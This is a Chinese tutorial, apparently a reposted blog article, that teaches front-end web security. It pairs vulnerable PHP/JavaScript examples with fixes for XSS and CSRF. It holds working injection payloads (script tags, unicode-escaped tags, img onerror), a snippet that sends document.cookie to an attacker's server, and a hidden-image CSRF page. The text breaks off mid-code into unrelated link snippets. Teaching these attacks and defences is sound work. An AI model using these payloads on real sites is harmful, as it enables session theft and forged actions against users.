1. 程式人生 > >聊一聊WEB前端安全那些事兒

聊一聊WEB前端安全那些事兒

歡迎大家收看聊一聊系列,這一套系列文章,可以幫助前端工程師們瞭解前端的方方面面(不僅僅是程式碼):
https://segmentfault.com/blog...

隨著網際網路的發達,各種WEB應用也變得越來越複雜,滿足了使用者的各種需求,但是隨之而來的就是各種網路安全的問題。作為前端工程師的我們也逃不開這個問題。所以今天,就和大家一起聊一聊WEB前端的安全那些事兒。這裡不去說那些後端的攻擊(SQL注入、DDOS攻擊等),畢竟整個WEB安全是一門很深的學問,不是我一篇文章就能完全說完的。我們就聊一聊前端工程師們需要注意的那些安全知識。

為什麼要攻擊?

其實真正為了玩的心態去進行黑網站的人,還是少數。多數攻擊還是有利益的成分在裡面的。我模糊的記得,以前聽騰訊的工程師說過一句話,大概是這樣的:開發者不可能確保自己的應用絕對無法被攻擊,但是隻要攻擊我們的時候,黑客花費的成本遠比他可以獲取的利益大得多,黑客就不會去攻擊。

防範強如支付寶、QQ等產品,也都曾被報過漏洞,看來防禦不是絕對的,我們只能想辦法讓我們的應用更加安全。

前端攻擊都有哪些形式,我該如何防範?

1 XSS攻擊

1.1 是什麼?

百度百科中如是說道:
XSS是一種經常出現在web應用中的電腦保安漏洞,它允許惡意web使用者將程式碼植入到提供給其它使用者使用的頁面中。
其實在web前端方面,可以簡單的理解為一種javascript程式碼注入。舉個例子,我們有個社交網站,允許大家相互訪問空間,網站可能是這樣做的:

<?php
    $username="侯醫生";
?>
<!DOCYTPE HTML>
<html
>
<head> <meta charset="utf-8" /> </head> <body> <div> 使用者名稱:<?php echo $username;?> </div> <div> 第一條狀態:侯醫生的狀態1 </div> <div> 第二條狀態:侯醫生的狀態2 </div
>
<div> 第三條狀態:侯醫生的狀態3 </div> </body> </html>

執行時,展現形式如圖1.1.1所示:


圖1.1.1

但是,如果你的使用者名稱,起名稱的時候,帶上script標籤呢?我們知道,瀏覽器遇到html中的script標籤的時候,會解析並執行標籤中的js指令碼程式碼,那麼如果你的使用者名稱稱裡面含有script標籤的話,就可以執行其中的程式碼了。
程式碼如下,效果如圖1.1.2

<?php
    $username="<script>alert('侯醫生');</script>";
?>


圖1.1.2
如果你將自己的使用者名稱設定為這種執行指令碼的方式,再讓別人去訪問你的連線的話,就可以達到在他人web環境中,執行自己指令碼的效果了。我們還可以使用ajax,將其他使用者在當前域名下的cookie獲取併發送到自己的伺服器上。這樣就可以獲取他人資訊了。比如,剛剛咱們使用的不是alert而是,如下的程式碼:

$.ajax({
    url: '自己的伺服器',
    dataType: 'jsonp',
    data: {'盜取的使用者cookie': document.cookie}
});

再在各個QQ群中,散播自己的空間,引誘別人來訪問。就可以拿到使用者在這個域名下的cookie或者其他隱私了。

1.2 如何防範?

目前來講,最簡單的辦法防治辦法,還是將前端輸出資料都進行轉義最為穩妥。比如,按照剛剛我們那個例子來說,其本質是,瀏覽器遇到script標籤的話,則會執行其中的指令碼。但是如果我們將script標籤的進行轉義,則瀏覽器便不會認為其是一個標籤,但是顯示的時候,還是會按照正常的方式去顯示,程式碼如下,效果如圖1.2.1

<?php
    $username="<script>alert('侯醫生');</script>";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <!--我們將輸出的後端變數,轉義之後再輸出,則可以避免被注入程式碼-->
        <div>
            使用者名稱:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
    </body>
</html>


圖1.2.1
其實,我們再來看看網頁原始碼,如圖1.2.2

圖1.2.2
雖然顯示出來是有script標籤的,但是實際上,script標籤的左右尖括號(><),均被轉義為html字元實體,所以,便不會被當做標籤來解析的,但是實際顯示的時候,這兩個尖括號,還是可以正常展示的。

1.3 升級攻擊

1.3.1 append的利用

上一小節我們防住了script標籤的左右尖括號,藍鵝,聰明的黑客們還是想出了好辦法去破解,我們知道,直接給innerHTML賦值一段js,是無法被執行的。比如,

$('div').innerHTML = '<script>alert("okok");</script>';

但是,jquery的append可以做到,究其原因,就是因為jquery會在將append元素變為fragment的時候,找到其中的script標籤,再使用eval執行一遍。jquery的append使用的方式也是innerHTML(如圖1.3.1.1)。而innerHTML是會將unicode碼轉換為字元實體的。

圖1.3.1.1
利用這兩種知識結合,我們可以得出,網站使用append進行dom操作,如果是append我們可以決定的欄位,那麼我們可以將左右尖括號,使用unicode碼偽裝起來,就像這樣--"\u003cscript\u003ealert('okok');"。接下來轉義的時候,偽裝成\u003<會被漏掉,append的時候,則會被重新呼叫。程式碼如下,效果如圖1.3.1.2

<?php
    $username="\u003cscript\u003ealert('okok');";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            使用者名稱:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
        <div>版權所有:<span id="username_info"></span></div>
        <script>
            $('#username_info').append("<?php echo htmlentities($username);?>");
        </script>
    </body>
</html>


圖1.3.1.2
我們可以看到,雖然進行了轉義,注入的程式碼還是會再次被執行。

1.3.2 img標籤的再次利用

再來一種攻擊方式,img標籤的小貼士。
這裡我們需要重溫一個小知識點-----img標籤,在載入圖片失敗的時候,會呼叫該元素上的onerror事件。我們正可以利用這種方式來進行攻擊。我們先來看一下,正常的使用者分享圖片的行為怎麼做。程式碼如下,展示如圖1.3.2.1

<?php
    $username="<script>alert('侯醫生');</script>";
    $imgsrc="http://img5.imgtn.bdimg.com/it/u=1412369044,967882675&fm=11&gp=0.jpg";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            使用者名稱:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1,這個是圖片:
            <img src="<?php echo $imgsrc;?>" />
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
    </body>
</html>


圖1.3.2.1
但是,如果這張圖片的地址我們換種寫法呢?

<?php
    $imgsrc="\" onerror=\"javascript:alert('侯醫生');\"";
?>

我們再來看看拼裝好的html原始碼,如圖1.3.2.2:

圖1.3.2.2
這時的原始碼已經變為--src為空,但是onerror的時候,執行注入程式碼。我們重新整理檢視頁面,就會發現,程式碼注入已經成功,如圖1.3.2.3所示:

圖1.3.2.3
看官你可能會說了,再轉義唄。是的,老套路,我們接著進行轉義---你這個毛病呀,就算治好了(老中醫口吻)。

<img src="<?php echo htmlentities($imgsrc);?>" />

恩,總算是恢復正常了,如圖1.3.2.4所示。

圖1.3.2.4

1.3.3 組合使用

但是......但是,道高一尺魔高一丈,雖然防住了img標籤直接的輸出,但是我們的攻擊點又來了,我們將1.3.1中所說的方式與1.3.2中所說的方式進行結合,進行一種組合式攻擊,我們之前說過,innerHTML賦值的script標籤,不會被執行,但是innerHTML賦值一個img標籤是可以被識別的。我們把img標籤的左右尖括號,使用unicode進行偽裝,讓轉義方法認不出來,即使innerHTML也可以利用上了,程式碼如下,效果如圖1.3.3.1

<?php
    $username="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";
?>
<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <div>
            使用者名稱:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
        <div>版權所有:<span id="username_info"></span></div>
        <script>
            document.getElementById('username_info').innerHTML = "<?php echo htmlentities($username);?>";
        </script>
    </body>
</html>


圖1.3.3.1
這樣,innerHTML也可以派上用場,再次突破防線。

1.4 升級防禦

看來,我們需要再次進行防禦升級了,我們將輸出的字串中的\反斜槓進行轉義(json轉義)。這樣,\就不會被當做unicode碼的開頭來被處理了。程式碼如下:

document.getElementById('username_info').innerHTML = <?php echo json_encode(htmlentities($username));?>;

生成處的原始碼,如圖1.4.1

圖1.4.1
效果如圖1.4.2所示

圖1.4.2

1.5 XSS再升級

都說了道高一尺魔高一丈了,你以為防得住後端輸出,黑客大大們就沒辦法攻擊了嗎。我們有的時候,會有一些習慣,拿URL上的get引數去構建網頁。好比說,直接拿url上的使用者名稱去展示啦,拿url上的一些回跳地址之類的。但是url上的引數,我們是無法提前對其進行轉義的。接下來,來個例子,程式碼如下:

<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <div>
            使用者名稱:<?php echo htmlentities($username);?>
        </div>
        <div>
            第一條狀態:侯醫生的狀態1
        </div>
        <div>
            第二條狀態:侯醫生的狀態2
        </div>
        <div>
            第三條狀態:侯醫生的狀態3
        </div>
        <div>版權所有:<span id="username_info"></span></div>
        <script>
            var param = /=(.+)$/.exec(location.search);
            var value = decodeURIComponent(param[1]);
            $('#username_info').append(value);
        </script>
    </body>
</html>

上述程式碼,滿足了一個很正常的需求,解開URL中的一個引數,並將其渲染至頁面上。但是,這裡面存在一個風險,如果黑客在URL的這個引數中,加入js程式碼,這樣便又會被執行(如圖1.5.1所示)。

圖1.5.1

1.6 防禦再次升級

像這種從url中獲取的資訊,筆者建議,最好由後端獲取,在前端轉義後再行輸出,程式碼如下,效果如圖1.6.1

<script>
    var value = decodeURIComponent("<?php echo htmlentities($_GET['username']);?>");
    $('#username_info').append(value);
</script>


圖1.6.1
使用url中的引數的時候要小心,更不要拿URL中的引數去eval。

1.7 保護好你的cookie

如果不幸中招了,黑客的js真的在我們的網頁上執行了,我們該怎麼辦。其實,很多時候,我們的敏感資訊都是儲存在cookie中的(不要把使用者機密資訊放在網頁中),想要阻止黑客通過js訪問到cookie中的使用者敏感資訊。那麼請使用cookie的HttpOnly屬性,加上了這個屬性的cookie欄位,js是無法進行讀寫的。php的設定方法如下:

<?php
    setcookie("userpass", "doctorhou-shuai", NULL, NULL, NULL, NULL, TRUE);
?>

如圖1.7.1,我們的cookie已經種上了,並且有了httpOnly標識

圖1.7.1
如圖1.7.2,我們通過js無法獲取cookie中的設定有httpOnly的欄位:

圖1.7.2
話說回來,其實還有很多xss的升級攻擊方式,同學們有興趣的話,可以自己去研究一下。(不要幹壞事兒哦)

2 CSRF攻擊

2.1 什麼是CSRF攻擊?

CSRF攻擊在百度百科中的解釋是:
CSRF(Cross-site request forgery跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。
其實就是網站中的一些提交行為,被黑客利用,你在訪問黑客的網站的時候,進行的操作,會被操作到其他網站上(如:你所使用的網路銀行的網站)。

2.2 如何攻擊?

2.2.1 要合理使用post與get

通常我們會為了省事兒,把一些應當提交的資料,做成get請求。殊不知,這不僅僅是違反了http的標準而已,也同樣會被黑客所利用。
比如,你開發的網站中,有一個購買商品的操作。你是這麼開發的:

<?php
// 從cookie中獲取使用者名稱,看似穩妥
$username = $_COOKIE['username'];
$productId = $_GET['pid'];
// 這裡進行購買操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '買入商品:' . $productId;
?>

而商品ID圖個省事兒,就使用了url中的get引數。買商品的話,如圖2.2.1.1所示

圖2.2.1.1
那麼,黑客的網站可以這樣開發:

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
    </head>
    <body>
        <img src="http://localhost:8082/lab/xsrflab/submit.php?pid=1" />
    </body>
</html>

這樣的話,使用者只需要訪問一次黑客的網站,其實就相當於在你的網站中,操作了一次。然而使用者卻沒有感知。如圖2.2.1.2所示:

圖2.2.1.2
所以,我們日常的開發,還是要遵循提交業務,嚴格按照post請求去做的。更不要使用jsonp去做提交型的介面,這樣非常的危險。

2.2.2 xsrf攻擊升級

如果你使用了post請求來處理關鍵業務的,還是有辦法可以破解的。我們的業務程式碼如下:

<?php
$username = $_COOKIE['username'];
// 換為post了,可以規避黑客直接的提交
$productId = $_POST['pid'];
// 這裡進行購買操作
//store_into_database($username, $productId);
?>
<meta charset="utf-8" />
<?php
echo $username . '買入商品:' . $productId;
?>

黑客程式碼如下:

<!DOCYTPE HTML>
<html>
    <head>
        <meta charset="utf-8" />
        <script src="https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/js/lib/jquery-1.10.2_d88366fd.js"></script>
    </head>
    <body>
        <button id="clickme">點我看相簿</button>
        <script>
            $('#clickme').on('click', function () {
                // 使用者再不知情的情況下,提交了表單,伺服器這邊也會以為是使用者提交過來的。
                $('#myform').submit();
            });
        </script>
        <
            
           

相關推薦

WEB前端安全那些事兒

歡迎大家收看聊一聊系列,這一套系列文章,可以幫助前端工程師們瞭解前端的方方面面(不僅僅是程式碼):https://segmentfault.com/blog... 隨著網際網路的發達,各種WEB應用也變得越來越複雜,滿足了使用者的各種需求,但是隨之而來的就是各種網路安

[系列]前端存儲那些事兒

我們 老朋友 必須 獲取 sql 壓力 做了 lan read https://segmentfault.com/a/1190000005927232 歡迎大家收看聊一聊系列,這一套系列文章,可以幫助前端工程師們了解前端的方方面面(不僅僅是代碼):https://seg

積分墻的那些事兒

制造 指數 app下載 google 也有 收入 獲得 容易 什麽是 德普優化,專業的APP推廣積分墻平臺 什麽是積分墻? “積分墻”目前已經發展為在一個應用內展示各種不定額任務(下載安裝試玩的相關應用、好評截圖審核、分享轉發獎勵等等),用戶完成相應任務就可以賺取對應金錢,

從一個前端菜鳥的角度虛擬DOM

從一個前端菜鳥的角度聊一聊虛擬DOM   想要解釋一下標題,對於虛擬DOM我並沒有去深入瞭解,只是略微知道個大概原理,這裡也只是略微說一下原理。 虛擬DOM是什麼   首先,什麼是DOM?   Document_Object_Model,文件物件模型。將html頁面元素與一個

整車廠的那些事——售後配件業務

大於 狀況 mil 協作 正文 現狀 ESS 大數 沒有 此文已由作者王文開授權網易雲社區發布。歡迎訪問網易雲社區,了解更多網易技術產品運營經驗。前言:本文主要介紹了整車廠售後配件業務的整體狀況和痛點,並且展示了網易有數是如何助力整車廠的售後部門,發現其業務問題、定位問題、

智慧小程式檔案館 —— web-view 元件

哈嘍大家好~今天是百度智慧小程式學院“智慧小程式檔案館”的第一課,在接下來的日子裡,小編會定期 or 不定期的為您介紹、解答更多關於智慧小程式的使用方法,歡迎大家持續關注,留言互動~ 很多開發智慧小程式的朋友,經常會對於 web-view 元件的使用感到困惑,不知道要如何配置,才能通過使用 web

前端跨域

1、瀏覽器的同源策略:指不同域的客戶端指令碼在沒明確授權的情況下,不能讀寫對方的資源。跨域指js在不同域(協議、域名、埠號有一處不同則屬不同域)之間進行資料傳輸。   2、非同源會有以下三種行為受到限制: (1) Cookie、LocalStorage 和 IndexDB 無法

簡單那些svg的沿路徑運動

之前遇見動畫就很想用css實現,顯然有些效果是我們力所不能及,實現起來麻煩,效果不好,讓人捉急。

web開發的前後端分離和頁碼分離

我一直對web非常感興趣,在這個APP為主導的時代,我依然覺得未來的社會是屬於瀏覽器的。 不過今天不說瀏覽器,說說web中的前後端分離和頁碼分離,可能題目看起來怪怪的,因為【前後端分離】和【頁碼分離】看上去是一個概念。 實際上,前後端分離指的是後端程式碼和前端程式碼的分離,

PV和併發、以及計算web伺服器的數量的方法

幾個概念 網站流量是指網站的訪問量,用來描述訪問網站的使用者數量以及使用者所瀏覽的網頁數量等指標,常用的統計指標包括網站的獨立使用者數量、總使用者數量(含重複訪問者)、網頁瀏覽數量、每個使用者的頁面瀏覽數量、使用者在網站的平均停留時間等。 網站訪問量的常用衡量標準:獨立訪���(UV) 和 綜合瀏覽量(PV

Java Web架構實戰篇:前後端分離架構

前後端分離的演變 記得12年從事工作的時候公司還沒有專門的前端人員,一般我們都是前後端都會,畢竟那時候H5才剛剛起來微軟的XP還在流行使用(預設系統自帶IE6),IE的市場份額還是蠻大的。做的產品也沒有很炫酷的特效(如果有也會選擇使用flex),那

大廠內部的安全管理機制

工作了兩個月了體會到了很多之前做外包小專案沒有的東西,不得不說大廠的還是有自己一套的完善的體制,不會像B站那樣洩露自己整個後臺的原始碼這種事情發生。 電腦辦公 比如說在使用電腦辦公這方面,剛入職那天每個人都會領一臺電腦(MAC和Windows都有看工作需要),每個人領的電腦上都裝有度管家,度管家是百度自研的一

那些線性時間複雜度的排序演算法

實際上,基於比較和交換的排序演算法,它們的時間複雜度的下限就是O(nlog2n)。氣泡排序,插入排序等自不必多說,時間複雜度是O(n2),即使強如快速排序,堆排序等也只是達到了O(nlog2n)的複雜度。那麼那些傳說中可以突破O(nlog2n)下限,達到線性時間複雜度O(n)的排序演算法到底是什麼樣的呢,接下

高併發高可用那些事 - Kafka篇

> **目錄** ![](https://oscimg.oschina.net/oscnet/up-d11d733828c2edb2b99c861676fd2886564.png) > **為什麼需要訊息佇列** 1.非同步 :一個下單流程,你需要扣積分,扣優惠卷,發簡訊等,有些耗時又不需要

啥都不會的我自學Linux系統的歷程

計算機專業 linux論壇 服務器 知識點 嵌入式 Linux大家都不陌生,我是在大三的時候開始接觸Linux,上課的時候一位給我們上課的老師閑聊的時候說,你們計算機專業的學生要好好去學Linux,對於你們以後發展或者是就業都很有幫助。 開始的時候是一種從眾心理,慢慢的學習中發現自己越來越

Vue實例與生命周期運行機制

思維 mod images mic import mvvm 方法 add char Vue的實例是Vue框架的入口,擔任MVVM中的ViewModel角色,所有功能的實現都是圍繞其生命周期進行的,在生命周期的不同階段調用對應的鉤子函數可以實現組件數據管理和DOM渲染兩大重要

很認真的程序員的自我修養

很大的 溝通 數據庫查詢 職業 xxx 話題 必備 小學 lol 首先要談的是,今天的話題所聊的程序員包含哪些人? 在中國,寫程序,不僅僅是一種興趣,更多的時候,還是一種普通職業和謀生工具 大公司有厲害的程序員,優秀的架構師,但大量的小公司也有很多普通的程序員。在我這些

共享單車

高峰 地鐵站 中學生 電商 吐槽 活動 存在 http ... 1.共享單車的模式用戶交押金,然後騎車,按照騎車時間進行計費。其實,嚴格意義上來講,這還並不屬於共享經濟,更像分時租賃。 2、共享單車的用戶人群 & 特征用戶人群:80後、90後的低頻打車人群,

分布式鎖的設計

src set 可用性 slave 共享資源 get 處理過程 res 指定 起因 前段時間,看到redis作者發布的一篇文章《Is Redlock safe?》,Redlock是redis作者基於redis設計的分布式鎖的算法。文章起因是有一位分布式的專家寫了一篇文章《H

我的阿裏雲ECS雲主機

工作者 資料 linux系統 tom ecs 進行 http 感覺 com javaweb學習有段時間了,期間也編寫了一些自己的小webapp應用,但是都是發布在我們自己的個人pc上的. 於是我在想:怎麽樣讓自己的項目可以發到公網上面去,讓朋友們能夠來訪問?   我首先想到